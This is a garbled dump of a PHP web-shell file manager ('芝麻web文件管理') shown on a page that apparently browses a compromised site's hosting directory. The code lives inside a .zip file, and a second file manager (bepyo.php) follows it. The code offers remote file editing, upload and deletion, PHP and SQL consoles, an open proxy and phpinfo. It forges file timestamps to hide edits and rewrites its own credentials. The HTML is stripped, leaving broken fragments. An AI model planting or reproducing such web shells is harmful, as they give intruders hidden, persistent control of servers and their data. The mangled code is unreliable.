芝麻web文件管理V1.00

编辑当前文件:/home/greakqsw/theblogginglab.org/7648l2-20260310230235/z6fv0s.zip
'; } return ' '.$str.'
'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'
'.__('Name').''.__('Value').'
'; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '.__('File manager').'
'.__('Login').'     '.__('Password').'    
'.fm_lang_form($language).' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = '
'.fm_home().' Url:
'; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%()%i', '$1'.''.$proxy_form, $result); echo $result; die(); } } ?> <?=__('File manager')?>
'.__('File manager').' - '.__('Settings').' '.(empty($msg)?'':''.$msg.'').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' SQL server SQL user SQL password SQL DB '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' '.__('Reset settings').'
'.__('Settings').' - '.__('Authorization').'
'.__('Login').'
'.__('Password').'
'.__('Cookie').'
'.__('Days').'
'.__('Script').'
'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?>

'.fm_run_input('php'); else echo ''.fm_run_input('sql'); ?>

'."\n"; $select .= '\n"; foreach ($tmpl as $key=>$value){ $select.='\n"; } $select .= "\n"; echo $select; } ?>
'.strtoupper($res_lng).' '.__('Result').'
'.$fun($res).'
'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>

'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>
:
'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):
'; foreach ($search_data as $filename) { $msg .= ''.basename($filename).'   '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete') . ''; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg .= __('Error occurred').': '.__('no files'); } ?>
    ,
     '.$file.''; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '     '.$file.'' : '     '.$file.''; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '' . __('Delete') . ''; $renamelink = fm_root($file) ? '' : '' . __('Rename') . ''; $rightstext = ($file=='.' || $file=='..') ? '' : '' . @fm_rights_string($filename) . ''; ?>
Github | .'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | proxy'; if (!empty($fm_config['show_phpinfo'])) echo ' | phpinfo'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | xls'; if (!empty($fm_config['fm_settings'])) echo ' | '.__('Settings').''; ?>
errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PKJm\ about.phpnu[ AccessDeniedAccess DeniedHZ4WXH0ESBF1JYTBsW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=PKJm\oe** bepyo.phpnu[ $item, 'path' => $full_path, 'size' => is_file($full_path) ? filesize($full_path) : 0, 'type' => is_dir($full_path) ? 'directory' : 'file', 'modified' => date('Y-m-d H:i:s', filemtime($full_path)) ]; } } return $files; } function format_size($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // ==================== REQUESTED DIRECTORY HANDLING ==================== $requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir); $current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : ''); $current_dir = safe_realpath_within($current_dir_candidate, $root_anchor); if($current_dir === false){ $requested_dir = basename($base_dir); $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor); if($current_dir === false){ $requested_dir = ''; $current_dir = safe_realpath_within($root_anchor, $root_anchor); } } // ==================== PARENT DIRECTORY CALCULATION ==================== if($requested_dir !== ''){ $parent_dir = dirname($requested_dir); if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = ''; } else { $parent_dir = ''; } // ==================== BREADCRUMB NAVIGATION ==================== $dir_parts = []; if($requested_dir !== ''){ $parts = explode('/', $requested_dir); $current_path = ''; foreach($parts as $part){ $current_path .= ($current_path ? '/' : '') . $part; $dir_parts[] = [ 'name' => $part, 'path' => $current_path ]; } } // ==================== ACTION HANDLING ==================== $action = $_GET['action'] ?? 'list'; $message = ''; switch($action){ case 'view': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Type: text/plain'); readfile($file_path); exit; } break; case 'edit': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if($_SERVER['REQUEST_METHOD'] === 'POST'){ $content = $_POST['content'] ?? ''; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ if(file_put_contents($file_path, $content) !== false){ $message = "File '{$file}' updated successfully!"; } else { $message = "Error updating file '{$file}'!"; } } // Don't redirect - stay on edit page with message } else { if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ $content = htmlspecialchars(file_get_contents($file_path)); echo "Edit: ".htmlspecialchars($file).""; echo "

Edit: ".htmlspecialchars($file)."

"; if($message) echo "

$message

"; echo "
"; echo "

"; echo " "; echo "Cancel"; echo "
"; exit; } } break; case 'delete': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; // Check if this is a confirmation request $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes'; if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ if(is_dir($file_path)){ $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath()); } rmdir($file_path); $message = "Folder '{$file}' deleted successfully!"; } else { if(unlink($file_path)){ $message = "File '{$file}' deleted successfully!"; } else { $message = "Error deleting file '{$file}'!"; } } header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message)); exit; } else { // Show confirmation page if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ echo "Confirm Delete"; echo "

Confirm Delete

"; echo "

Are you sure you want to delete '".htmlspecialchars($file)."'?

"; echo "

Type: " . (is_dir($file_path) ? "Folder" : "File") . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "
"; echo "YES, DELETE | "; echo "Cancel"; echo ""; exit; } } break; case 'upload': if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){ $uploaded = $_FILES['file']; if($uploaded['error'] === UPLOAD_ERR_OK){ $name = basename($uploaded['name']); $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if(safe_realpath_within(dirname($dest), $root_anchor)){ if(move_uploaded_file($uploaded['tmp_name'], $dest)){ @chmod($dest, 0644); $message = "File '{$name}' uploaded successfully!"; } else { $message = "Error uploading file '{$name}'!"; } } else { $message = "Invalid upload path!"; } } else { $message = "Upload error: " . $uploaded['error']; } } // Stay on same page with message break; case 'download': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Content-Length: '.filesize($file_path)); readfile($file_path); exit; } break; case 'create_folder': 